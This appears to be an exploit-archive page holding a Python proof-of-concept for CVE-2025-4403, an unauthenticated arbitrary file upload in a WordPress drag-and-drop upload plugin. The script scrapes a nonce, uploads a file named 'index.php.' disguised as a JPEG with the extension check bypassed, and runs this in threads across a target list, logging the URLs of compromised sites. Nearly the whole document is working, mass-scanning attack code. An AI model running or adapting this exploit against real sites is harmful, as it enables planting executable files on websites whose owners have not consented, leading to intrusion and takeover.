4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2025-4403.py PY
import requests
import re
import os
from concurrent.futures import ThreadPoolExecutor
from urllib.parse import urlparse

def normalize_url(url):
    url = url.strip()
    if not url.startswith(('http://', 'https://')):
        url = f'https://{url}'
    return url.rstrip('/')

def get_nonce_and_cookies(target_url):
    try:
        session = requests.Session()
        response = session.get(target_url, timeout=10)
        
        # Extract nonce from JavaScript variable
        nonce_match = re.search(r'"nonce":"([a-f0-9]+)"', response.text)
        nonce = nonce_match.group(1) if nonce_match else None
        
        if not nonce:
            print(f"[!] Could not extract nonce from {target_url}")
            return None, None
            
        return nonce, session.cookies.get_dict()
    except Exception as e:
        print(f"[!] Error processing {target_url}: {str(e)}")
        return None, None

def upload_file(target_url, nonce, cookies):
    try:
        upload_url = f"{target_url}/wp-admin/admin-ajax.php"
        test_file = "index.php."
        
        if not os.path.exists(test_file):
            print(f"[!] File {test_file} not found in current directory")
            return False, None
        
        with open(test_file, 'rb') as f:
            files = {
                'dnd-wc-upload-file': (test_file, f, 'image/jpeg')
            }
            
            data = {
                'action': 'dnd_codedropz_upload_wc',
                '_ajax_nonce': nonce,
                'supported_type': '.',
                'size_limit': '99999999999999999999999999'
            }
            
            headers = {
                'Referer': target_url
            }
            
            response = requests.post(
                upload_url,
                files=files,
                data=data,
                cookies=cookies,
                headers=headers,
                timeout=15
            )
        
        if response.status_code == 200:
            result = response.json()
            if 'file' in result.get('data', {}):
                if 'index' in result['data']['file'].lower():
                    upload_path = f"{target_url}/wp-content/uploads/wc_drag-n-drop_uploads/tmp_uploads/{result['data']['file']}"
                    return True, upload_path
        return False, None
        
    except Exception as e:
        print(f"[!] Upload failed to {target_url}: {str(e)}")
        return False, None

def process_target(raw_url):
    target_url = normalize_url(raw_url)
    print(f"[*] Testing {target_url}")
    
    nonce, cookies = get_nonce_and_cookies(target_url)
    if not nonce:
        return
    
    success, file_url = upload_file(target_url, nonce, cookies)
    if success:
        print(f"[+] Vulnerable: {file_url}")
        with open("result.txt", "a") as result_file:
            result_file.write(f"{file_url}\n")
    else:
        print(f"[-] Not vulnerable: {target_url}")

def main():
    if not os.path.exists("list.txt"):
        print("[!] list.txt not found")
        return
    
    custom_file = "index.php."
    if not os.path.exists(custom_file):
        print(f"[!] {custom_file} not found in current directory")
        print("[*] Please create a file named 'index.php.' (with the dot) in the same directory")
        return
    
    with open("list.txt", "r") as f:
        targets = [line.strip() for line in f if line.strip()]
    
    print(f"[*] Loaded {len(targets)} targets")
    print(f"[*] Using custom file: {custom_file}")
    
    # Threading for faster processing
    with ThreadPoolExecutor(max_workers=5) as executor:
        executor.map(process_target, targets)
    
    print("[*] Scan completed. Check result.txt for vulnerable sites")

if __name__ == "__main__":
    main()